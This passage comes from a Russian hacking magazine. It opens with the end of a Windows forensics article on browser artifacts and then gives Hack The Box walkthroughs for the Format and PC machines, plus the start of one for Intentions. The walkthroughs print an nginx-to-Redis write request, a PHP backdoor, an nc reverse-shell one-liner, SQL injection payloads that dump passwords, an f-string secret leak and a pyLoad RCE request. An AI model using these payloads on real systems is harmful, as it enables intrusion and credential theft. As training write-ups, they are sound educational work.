сле дова ния арте фак ты. Нап ример, в ходе фишин говых атак зло умыш ленни ки
рас сыла ют сооб щения, содер жащие либо ссыл ку на вре донос ный файл, либо
сам файл. Информа ция о заг рузке поль зовате лем такого фай ла попадет
в жур нал бра узе ра.

Про филь бра узе ра Firefox:

C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\[profileID] 

В фай ле  ты най дешь две полез ные таб лицы: 
содер жит исто рию бра узе ра,  — информа цию о заг рузках. А в

фай ле  лежат все сох ранен ные куки.

places.sqlite moz__places
moz__annos

cookies.sqlite
Инс тру мен ты для ана лиза:

 — ути лита для ана лиза исто рии бра узе ра;• MZHistoryView
 — ути лита для ана лиза фай лов кеша;• MZCacheView
 — ути лита для ана лиза фай лов cookies;• MZCookieView

 — инс тру мент прос мотра базы дан ных SQLite.
При ана лизе таб лиц исто рии бра узе ра нуж но будет пре обра зовать вре- 
мен ные мет ки сле дующим выраже нием: 

.

• DB Browser for SQLite

datetime(lastvisitdate/

1000000,'unixepoch')

Про филь Chrome:

C:\Users\<User>\AppData\Local\Google\Chrome\User Data\Default 

Ис торию посеще ния стра ниц и заг рузок мож но най ти в фай ле History, она
хра нит ся в базе SQLite, в таб лицах  и . Фай лы кеша лежат
в катало ге . Рас ширения бра узе ра хра нят ся в катало ге

.

urls downloads
Cache\Default Cache

Extensions
Инс тру мен ты для ана лиза:

 — ана лиз исто рии бра узе ра;• ChromeHistoryView
 — ана лиз кеша;• ChromeCacheView

 — при ана лизе таб лиц  и  необ- 
ходимо пре обра зовать вре мен ные мет ки сле дующим выраже нием:

.

• DB Browser for SQLite urls downloads

datetime(("last_visit_time"/1000000)-11644473600, 

'unixepoch', 'localtime')

Путь к про филю Opera:

C:\Users\%username%\AppData\Roaming\Opera Software\Opera Stable

Фор мат исто рии и заг рузок тот же, что и у Google Chrome. То же самое и у
Yandex Browser.

Ис тория посеще ний Internet Explorer:

C:\Users\<User>\AppData\Local\Microsoft\Windows\History\index.dat 

Для ее ана лиза мож но вос поль зовать ся ути литой IEHistoryView.
Ин форма ция о заг рузках в IE:

C:\Users\<user>\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory 

Кеш IE:

C:\Users\<User>\Appdata\Local\Microsoft\Windows\Temporary Internet 
Files\Content.IE5 

Для ана лиза при годит ся тул за IECacheView.
Ар тефак ты Microsoft Edge:

C:\Users\<User>\AppData\Local\Microsoft\Edge\User Data\Default 

Пос коль ку Edge — это втай не Chromium, ана лиз исто рии, заг рузок и кеша
будет выг лядеть так же, как в Chrome.

ÂÛÂÎÄÛ

Мы рас смот рели основные арте фак ты Windows, которые спе циалист дол жен
изу чить при рас сле дова нии инци ден та, а хакер, наобо рот, может попытать ся
скрыть. По пути мы соб рали инс тру мен тарий для ана лиза. Исполь зуя эти тех- 
ники, ты смо жешь вос ста новить ход событий, опи сать ата ку по мат рице
MITRE ATT&CK и сде лать какие-то выводы о зло умыш ленни ке.

https://github.com/log2timeline/plaso
https://github.com/log2timeline/plaso/blob/main/tools/psteal.py
https://xakep.ru/2021/09/02/plaso/
https://xakep.ru/2021/09/23/plaso-timesketch/
https://xakep.ru/2021/10/06/sigma-timesketch/
https://kacos2000.github.io/WindowsTimeline/WindowsTimeline.pdf
https://sqlitebrowser.org/
https://magnetforensics.com/products/magnet-axiom
https://kacos2000.github.io/WindowsTimeline/WindowsTimeline.sql
https://www.anti-malware.ru/practice/methods/Setting-up-auditing-in-Windows-for-full-SOC-monitoring
https://learn.microsoft.com/ru-ru/windows/security/threat-protection/auditing/basic-audit-logon-events
https://github.com/Yamato-Security/hayabusa
https://www.nirsoft.net/
https://eventlogxp.com/
https://github.com/JPCERTCC/LogonTracer
https://xakep.ru/2022/11/03/cyberdefenders-pwned-dc/
https://github.com/MarkBaggett/srum-dump
https://github.com/MarkBaggett/srum-dump/releases/download/2.5/SRUM_TEMPLATE3.xlsx
https://www.nirsoft.net/utils/mozilla_history_view.html
https://www.nirsoft.net/utils/mozilla_cache_viewer.html
https://www.nirsoft.net/utils/mzcv.html
https://sqlitebrowser.org/
https://www.nirsoft.net/utils/chrome_history_view.html
https://www.nirsoft.net/utils/chrome_cache_view.html
https://sqlitebrowser.org/
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ВЗЛОМ

В этом рай тапе я покажу, как про изво дить
запись дан ных в Redis бла года ря ошиб ке
в нас трой ках Nginx. Так же мы про ана лизи- 
руем исходни ки веб-при ложе ний, что бы
най ти ряд век торов для ата ки: LFI, повыше- 
ние роли поль зовате ля и RCE. Для повыше- 
ния при виле гий будем экс плу ати ровать уяз- 
вимость f-стро ки в Python и получим скры- 
тые дан ные при ложе ния.

Уп ражнять ся мы будем на тре ниро воч ной машине Format с пло щад ки 
. Уро вень ее слож ности — сред ний.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.213    format.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел три откры тых пор та:
22 — служ ба OpenSSH 8.4p1;•
80 и 3000 — веб-сер вер Nginx 1.18.0.•

До пол нитель но в парамет ре  на пор те 3000 отме чаем редирект

на . Добав ляем этот домен в файл 

и идем смот реть сай ты.

http-title
http://microblog.htb:3000/ /etc/hosts

10.10.11.213 microblog.htb format.htb 

Глав ная стра ница сай та microblog.htb:3000

Веб-сер вер на пор те 80 вер нул код 404, а на 3000 нас встре тил Git.

ÒÎ×ÊÀ ÂÕÎÄÀ
Мы сра зу можем поис кать откры тые репози тории и поль зовате лей.

От кры тые репози тории в Git

Ви дим дос тупный репози торий . Ска чива ем фай лы про екта

для изу чения.

microblog

Со дер жимое репози тория microblog

Ис ходные коды наш ли, а сай та пока не вид но. Пос коль ку нам извес тно реаль- 
ное домен ное имя, нуж но прос каниро вать под домены. Вдруг там дос тупны
дру гие сай ты? Для это го будем исполь зовать ути литу .ffuf

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — HTTP-заголо вок.• -H

Мес то перебо ра помеча ется сло вом FUZZ.

Ко ман да получа ется сле дующая:

ffuf  
256  

-u http://microblog.htb -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.microblog.htb'

Ре зуль тат ска ниро вания под доменов с помощью ffuf

На ходим два новых под домена, поэто му обно вим запись в фай ле 
, а затем пос мотрим, какие сай ты там хос тятся.

/etc/
hosts

10.10.11.213 microblog.htb format.htb app.microblog.htb sunny.
microblog.htb 

Глав ная стра ница сай та app.microblog.htb

Глав ная стра ница сай та sunny.microblog.htb

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/ffuf/ffuf
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists


ПРОКСИРУЕМ ЗАПРОСЫ В REDIS ЧЕРЕЗ
МИСКОНФИГ NGINX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
На чина ем изу чать исходный код при ложе ния и на вто ром сай те находим
потен циаль ную уяз вимость инъ екции команд ОС в фун кции

 из фай ла . Пос ле пред варитель ной про- 
вер ки  (стро ка 26) в фун кцию  переда ется резуль тат

выпол нения дру гой фун кции  (стро ки 27–32).

provisionProUser edit/index.php
isPro() == true system

getBlogName

Со дер жимое фай ла edit/index.php

В том же фай ле рас положен и код фун кций  и . Пер вая

обра щает ся к базе Redis (стро ки 129–132) и для текуще го поль зовате ля про- 
веря ет параметр  (видимо, это какая-то мет ка адми нис тра тора). Вто рая
фун кция извле кает под домен из HTTP-заголов ка . То есть для 

 фун кция  вер нет стро ку .

isPro getBlogName

pro
Host test.

domain.com getBlogName test

Со дер жимое фай ла edit/index.php

У нашего поль зовате ля нет адми нис тра тив ного дос тупа, поэто му экс плу ати- 
ровать инъ екцию мы пока не смо жем. Но в этом же фай ле находим воз- 
можность под клю чить к сай ту содер жимое про изволь ного фай ла на сер вере,
что дает нам LFI. Мы можем в парамет ре  отпра вить имя фай ла для под клю- 

чения, глав ное, что бы этот файл сущес тво вал. Если такой файл не сущес тву- 
ет, то он будет соз дан и в него запишет ся текст из парамет ра . Затем

файл будет под клю чен к сай ту (стро ки 81–91).

id

txt

Со дер жимое фай ла edit/index.php

Про верим наше пред положе ние.

LFI
Пе рехо дим к пер вому сай ту, регис три руем ся и авто ризу емся. Это дает нам
некото рые при виле гии, а так же рас ширя ет область тес тирова ния.

Глав ная стра ница авто ризо ван ного поль зовате ля

Те перь нам дос тупна фун кция соз дания сво его бло га. Соз дадим блог 
и добавим запись в файл .

ralf
/etc/hosts

10.10.11.213 microblog.htb format.htb app.microblog.htb sunny.
microblog.htb ralf.microblog.htb 

За тем най дем в Burp History зап рос к сай ту  и изме ним HTTP-заголо вок
, ука зав там имя толь ко что соз данно го бло га. Таким обра зом мы обра- 

тим ся к сво ему бло гу.

sunny
Host

Зап рос к соз данно му бло гу

Те перь поп робу ем под клю чить к сай ту файл , путь к которо му
переда ем в парамет ре , зап росив стра ницу .

/etc/passwd
id edit/index.php

Со дер жимое фай ла /etc/passwd

Та ким обра зом под твержда ем LFI, поэто му сле дующим дей стви ем зап- 
рашива ем нас трой ки сер вера . Вывод
получа ется ском канным, но ряд замен в  помога ет пре обра зовать

файл в удоб ный фор мат.

/etc/nginx/sites-enabled/default
CyberChef

Нас трой ки веб-сер вера

Ìèñêîíôèã Nginx proxy_pass
Раз берем пос леднюю нас трой ку:

. / .  location ~ /static/( *) ( *) {
   resolver 127.0.0.1;
   proxy_pass   http://$1.microbucket.htb/$2;
# }

При обра щении к стра нице  зап рос будет прок- 

сирован на . Но фун кция  в Nginx
под держи вает еще и зап росы к локаль ным сокетам Unix и даже отправ ку
и получе ние дан ных.

/static/dom/qwe.html
dom.microbucket.htb/qwe.html proxy_pass

Фор мат для переза писи клю ча Redis будет сле дующим:

redis.sock:key val1 val2 val3 

Та ким обра зом, бла года ря мис конфи гу Nginx мы можем обра тить ся к сокету
Redis и переза писать для нашего поль зовате ля  параметр  и зна- 

чение , что даст поль зовате лю допол нитель ные при виле гии Pro. Сде лать

это мож но сле дующим зап росом.

ralf pro
true

curl -X HSET "http://microblog.htb/static/unix:
%2Fvar%2Frun%2Fredis%2Fredis.sock:ralf%20pro%20true%20a/b"

Зап рос на сер вер

Этот зап рос будет прок сирован и пре обра зован в зап рос сле дующе го вида:

HSET /unix:/var/run/redis/redis.sock:ralf pro true a.microbucket.htb/
b 

То есть в сокет  по клю чу  будут записа ны

зна чения ,  и . Обновля ем стра ницу на сай те
и видим помет ку  рядом с име нем поль зовате ля.

/var/run/redis/redis.sock ralf
pro true a.microbucket.htb/b

Pro

Стра ница авто ризо ван ного поль зовате ля

RCE
Те перь перей дем к RCE, для чего помес тим PHP-бэк дор 

в каталог . В парамет ре  отправ ляем путь к фай лу 
, а в парамет ре  — код бэк дора:

shell_exec
uploads id /var/www/

microblog/ralf/uploads/rce.php txt

  <?php echo shell_exec("curl+10.10.14.28/test_rce");?>

За тем обра щаем ся к соз данно му фай лу и про веря ем логи веб-сер вера.

За пись PHP-бэк дора

Зап рос к фай лу бэк дора

Ло ги веб-сер вера

В логах видим зап рос к стра нице , а зна чит, бэк дор отра ботал.

Теперь акти виру ем лис тенер  и вмес то коман ды  выпол няем

сле дующий реверс-шелл:

test_rce
pwncat-cs curl

  <?php echo shell_exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&
1|nc 10.10.14.28 4321 >/tmp/f");?>

Сес сия поль зовате ля www-data

ÏÐÎÄÂÈÆÅÍÈÅ
Для прод вижения к учет ной записи поль зовате ля чаще все го сле дует искать
учет ные дан ные для раз ных баз, сер висов и служб. Так как на хос те работа ет
Redis и мы можем к нему под клю чить ся, нуж но про верить сох ранен ные дан- 
ные.

redis-cli -s /run/redis/redis.sock 
keys *

Клю чи в базе Redis

Нас инте ресу ют записи по клю чу , получим их все.cooper.dooper

 hgetall cooper.dooper

За писи по клю чу cooper.dooper

Ви дим записи  и . С получен ным паролем авто ризу емся

по SSH от име ни поль зовате ля .

username password
cooper

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Те перь нас тало вре мя соб рать информа цию о сис теме. Я буду исполь зовать
для это го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, смот рим самое инте рес-
ное.

Нас трой ки sudoers дос тупны толь ко при вво де пароля.

Нас трой ки sudoers

Ви дим нес коль ко фай лов, в том чис ле исполня емых, которые добав лены
в сис тему поль зовате лем.

До бав ленные поль зовате лем фай лы

Боль ше ничего инте рес ного. Так как мы зна ем пароль поль зовате ля, все-таки
про верим нас трой ки sudoers.

 sudo -l

Нас трой ки sudoers

Ока зыва ется, мы можем запус тить при ложе ние  от име ни

поль зовате ля . Про верим тип фай ла с помощью ути литы .

/usr/bin/license
root file

file /usr/bin/license 

Про вер ка типа фай ла

Это скрипт на Python. Смот рим его исходный код в любом удоб ном редак- 
торе. Это при ложе ние может быть запуще но толь ко при виле гиро ван ным
поль зовате лем (стро ки 22–26).

За тем при ложе ние чита ет сек рет из фай ла , а из

сек рета фор миру ется ключ шиф рования (стро ки 37–43).

/root/license/secret

Ис ходный код при ложе ния license

За тем при ложе ние получа ет дан ные из базы Redis и откры вает файл с клю- 
чами лицен зии  (стро ки 48–61). Сле дом из базы Redis
чита ются парамет ры ,  и , которые вмес те

с содер жимым лицен зии выводят ся поль зовате лю (стро ки 62–78).

/root/license/keys
username first-name last-name

Ис ходный код при ложе ния license

При выводе исполь зует ся f-стро ка (стро ки 65 и 69). Так как через базу Redis
мы можем кон тро лиро вать вход ные дан ные, поп робу ем в качес тве одно го
из парамет ров записать такую стро ку:

{license.__init__.__globals__[secret_encoded]} 

Она дол жна будет вывес ти сек рет!

redis-cli -s /var/run/redis/redis.sock 

   
    

HMSET ralf first-name "{license.__init__.__globals__[secret_encoded]}
" last-name ralf username ralf

За пись в базу Redis

Те перь запус каем при ложе ние, ука зывая соз данный ключ , и ищем

в выводе сек рет.

ralf

sudo /usr/bin/license -p ralf 

Экс плу ата ция уяз вимос ти

По лучен ный сек рет про буем при менить в качес тве пароля рута. Пароль под- 
ходит, забира ем пос ледний флаг.

Флаг рута

Ма шина зах вачена!

https://gchq.github.io/CyberChef/
https://github.com/carlospolop/PEASS-ng
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ВЗЛОМ

В этом рай тапе я поз наком лю тебя с про- 
токо лом gRPC ком пании Google, затем
обна ружим и про экс плу ати руем SQL-инъ- 
екцию для SQLite. При повыше нии при виле- 
гий исполь зуем уяз вимость в сер висе
pyLoad.

По может нам в этом тре ниро воч ная машина PC с пло щад ки .
Уро вень ее слож ности — лег кий.

Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.214    pc.htb 

И начина ем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
50051 — неиз вес тный порт.•

Ре зуль таты очень скуд ные: в слу чае с SSH поможет толь ко брут форс учет ных
дан ных (а он при решении задач с HTB обыч но не прак тику ется), а за что
отве чает порт 50051, пока непонят но.

ÒÎ×ÊÀ ÂÕÎÄÀ
Что за неиз вес тный порт? Дос таточ но поис кать этот номер в интерне те, что- 
бы обна ружить, что его может дер жать откры тым служ ба gRPC. Это реали- 
зация про токо ла RPC (метода уда лен ного вызова про цедур) с откры тым
исходным кодом, раз работан ная в Google. gRPC пред назна чен для работы
с раз личны ми механиз мами аутен тифика ции, что упро щает обра щение к нему
из дру гих сис тем. Мож но исполь зовать его с аутен тифика цией SSL/TLS
на осно ве токенов Google или без нее, а так же под клю чить собс твен ную сис- 
тему аутен тифика ции, рас ширив пре дос тавлен ный ком пани ей код.

Для работы по про токо лу gRPC будем исполь зовать . Ска чива ем
пос леднюю вер сию и запус каем, ука зывая сер вер и порт для под клю чения.

gRPC UI

grpcui -plaintext 10.10.11.214:50051 

В ито ге получим ссыл ку, которая поможет удоб но работать с сер вером через
бра узер.

Глав ное окно gRPC UI

Пер вым делом прос матри ваем дос тупные методы. Мы можем зарегис три- 
ровать поль зовате ля ( ), авто ризо вать ся в сер висе ( )

и получить какую-то информа цию ( ).

RegisterUser LoginUser
getInfo

Дос тупные методы

В пла не безопас ности этот сер вис ничем не отли чает ся от дру гих таких же,
но я наугад решил поп робовать наибо лее популяр ные логины и пароли.
Повез ло очень быс тро — подош ли логин и пароль . Авто ризу- 
емся и получа ем токен.

admin:admin

Зап рос LoginUser

От вет сер вера

А теперь про буем получить информа цию о поль зовате ле, для чего нам при- 
годит ся метод . Ука зыва ем в дан ных зап роса получен ный на пре- 
дыду щем шаге иден тифика тор. Аутен тифика цию нуж но прой ти с помощью
токена, для чего соз даем запись  в метадан ных зап роса.

getInfo

token

Зап рос getInfo

От вет сер вера

Од нако в ито ге ничего инте рес ного не получа ем.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/fullstorydev/grpcui/releases/tag/v1.3.1


МАНИПУЛИРУЕМ ПРОТОКОЛОМ GRPC ПРИ
ВЗЛОМЕ СЕРВЕРА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
Пе рей дем в  и перенап равим зап рос в Burp Repeater. Так как мы

отправ ляем на сер вер иден тифика тор поль зовате ля и получа ем ответ,
не исклю чено, что при ложе ние исполь зует базы дан ных. Поэто му сто ит про- 
верить, нет ли воз можнос ти для SQL-инъ екции. Возь мем чис ло, вызыва ющее
ошиб ку, а потом допол ним его усло вием . Оно воз вра щает зна чение

, и в резуль тате ошиб ки боль ше нет. Зна чит, есть воз можность для инъ- 
екции.

Burp Suite

or 1=1
TRUE

От вет с ошиб кой

От вет без ошиб ки

А теперь поп робу ем получить какие-нибудь дан ные. Для это го добавим
к иден тифика тору зап рос  с помощью опе рато ра . Сер вер

вер нет вве ден ную нами пос ледова тель ность.

select 123 union

Зап рос и ответ сер вера

SQL-èíúåêöèÿ
Пер вым делом опре деля ем, с какой СУБД пред сто ит работать. Для это го
дос таточ но переб рать нес коль ко команд с харак терным для раз ных сис тем
син такси сом. Сра бота ла наг рузка для SQLite.

   1 union select sqlite_version()

Вер сия СУБД

Пе рехо дим к эксфиль тра ции таб лиц. Для это го получим их спи сок.

         
   

1 union select tbl_name from sqlite_master where type='table' and
tbl_name NOT like 'sqlite_%'

Таб лицы в базе SQLite

На ходим все го одну таб лицу — . Что бы получить из нее дан ные, нам

нуж ны наз вания стол бцов. Хорошо, что в SQLite не надо отдель но вытас- 
кивать наз вание каж дого стол бца — мож но зап росить сра зу всё опре деле ние
таб лицы.

accounts

           
   

1 union select sql from sqlite_master where type!='meta' and sql not
NULL and name ='accounts'

Оп ределе ние таб лицы accounts

В таб лице два стол бца:  и . Исполь зуя опе ратор
, поп робу ем вывес ти все логины в одну запись через запятую.

username password
group_concat

     1 union select group_concat(username) from accounts

Ошиб ка получе ния дан ных

По луча ем ошиб ку. Что бы изба вить ся от нее, нуж но сме нить зна чение в пер- 
вой час ти зап роса на невоз можное.

     -1 union select group_concat(username) from accounts

Ло гины в таб лице accounts

По луча ем логины поль зовате лей. Теперь ана логич ным зап росом получим
дан ные из стол бца .password

     -1 union select group_concat(password) from accounts

Па роли в таб лице accounts

И теперь у нас есть еще и пароли. С получен ными учет ными дан ными авто- 
ризу емся на SSH и забира ем пер вый поль зователь ский флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. Информа ции на выходе получа ем мно го, но из полез ного я
при метил толь ко то, что открыт харак терный для веб-сер вера порт 8000.

От кры тые пор ты

Что бы получить дос туп к при ложе нию, нуж но будет про кинуть
порт 8000 на свой хост с помощью SSH.

ssh sau@pc.htb -L 8000:127.0.0.1:8000 

Та ким обра зом весь тра фик, который мы пош лем на локаль ный порт 8000,
будет тун нелиро ван на порт 8000 ука зан ного хос та (в дан ном слу- 
чае 127.0.0.1) через SSH-хост. Ког да тун нель пос тро ен, мож но обра тить ся
к сай ту через бра узер.

Глав ная стра ница сай та на пор те 8000

Пе ред нами pyLoad. Это бес плат ный менед жер заг рузок с откры тым
исходным кодом на Python. Пер вым делом сто ит поис кать све жие уяз вимос ти
для него. И поиск выводит нас на .CVE-2023-0297

Опи сание уяз вимос ти

Зат ронутые вер сии это го пакета уяз вимы перед инъ екци ей команд ОС, так
как при ложе ние переда ет дан ные из поль зователь ско го вво да в .

А поиск экс пло итов на GitHub при водит к , где опи сан PoC
для получе ния RCE.

pyimport
ре пози торию

Инс трук ция для экс плу ата ции уяз вимос ти

По меня ем зап рос на нуж ный нам, а вмес то того, что бы соз давать файл
с помощью , поп робу ем наз начить S-бит прог рамме .touch /bin/bash

curl      

 

-i -s -k -XPOST --data-binary 'jk=pyimport%20os;os.system(
"chmod%20u%2bs%20/bin/bash");f=function%20f2(){};&package=xxx&
crypted=AAAA&&passwords=aaaa' 'http://127.0.0.1:8000/flash/
addcrypted2'

Зап рос с наг рузкой

За тем про веря ем пра ва на файл коман дной обо лоч ки  и обна- 

ружи ваем, что S-бит выс тавлен, а зна чит, у нас выш ло про экс плу ати ровать
уяз вимость и получить рут.

/bin/bash

Пра ва на файл /bin/bash

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

/bin/bash -p

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://security.snyk.io/vuln/SNYK-PYTHON-PYLOADNG-3230895
https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad
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RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня нам с тобой пред сто ит прой ти
через череду очень слож ных веб-уяз вимос- 
тей, про экс плу ати ровав двух сту пен чатую
SQL-инъ екцию и уяз вимость в модуле PHP
Imagick. Для прод вижения изу чим Git-
репози торий, а для повыше ния при виле гий
напишем читал ку фай лов через поль- 
зователь ский ска нер.

А поможет нам в этом тре ниро воч ная машина Intentions с пло щад ки 
 слож ного уров ня (hard).

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.220    intentions.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем все го два откры тых пор та: 22 — служ ба
OpenSSH 8.9p1 и 80 — веб-сер вер Nginx 1.18.0. Бру тить SSH на машинах
с HTB не при нято, а на сай те нас встре чает фор ма авто риза ции и регис тра- 
ции.

Стра ница авто риза ции

ÒÎ×ÊÀ ÂÕÎÄÀ

Ре гис три руем нового поль зовате ля и авто ризу емся на сай те.

Глав ная стра ница авто ризо ван ного поль зовате ля

На стра нице про филя поль зовате ля находим поле, на которое мы можем воз- 
дей ство вать.

Стра ница про филя поль зовате ля

Заг лянув в  (а все дей ствия я рекомен дую про водить через
Burp), обна ружим, что исполь зует ся API.

Burp History

Ис тория зап росов

В поле изме нения жан ра я поп робовал вста вить наг рузку  для SQL-

инъ екции и в отве те получил те же дан ные, толь ко без про белов.

' -- -

Зап рос на сер вер

От вет сер вера

Сто ит отме тить, что наг рузку мы отправ ляем к API 

, а про веря ем изме нен ные дан ные через API .

/api/v1/gallery/user/
genres /api/v1/auth/user

ÒÎ×ÊÀ ÎÏÎÐÛ

Burp Macro

Пер вым делом я решил переб рать раз ные наг рузки с помощью 

. Но слож ность в том, что нуж но выпол нять два зап роса — один

с наг рузкой, а дру гой для про вер ки резуль тата. Тут нам могут помочь мак- 
росы, которые зада ются через нас трой ки Burp. Перехо дим к спис ку пра вил
сес сии и соз даем новое.

Burp

Intruder

Спи сок пра вил сес сий

В открыв шемся окне в поле Rule actions соз даем новый мак рос 

 — то есть выпол няемый пос ле основно го зап роса.

run post-
request macro

Нас трой ки пра вила

Для соз данно го мак роса откры ваем Editor и выбира ем зап рос к API: 
. Здесь мы получа ем текущее зна чение нас тро ек про филя.

/api/v1/
auth/user

Нас трой ки мак роса

Под твержда ем — и в окне с нас трой ками соз данно го пра вила видим наш
мак рос.

Нас трой ки пра вила

Пе рехо дим на вклад ку Scope и в парамет ре URL scope выбира ем Include all
URLs, что бы пра вило при меня лось абсо лют но ко всем зап росам.

Нас трой ки пра вила

Под твержда ем уста нов ленные парамет ры и видим соз данное пра вило
в общем спис ке пра вил.

Спи сок пра вил сес сий

Те перь перено сим зап рос к API  в Burp

Intruder. В нас трой ках перехо дим к опции Grep → Extract и ука зыва ем инте- 
ресу ющее нас поле, что бы добавить его содер жимое в общую таб лицу
резуль татов Intruder.

/api/v1/gallery/user/genres

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Settings

Так как мы исполь зуем пра вило с нес коль кими зап росами, переби рать нуж но
в один поток.

Ре зуль тат перебо ра

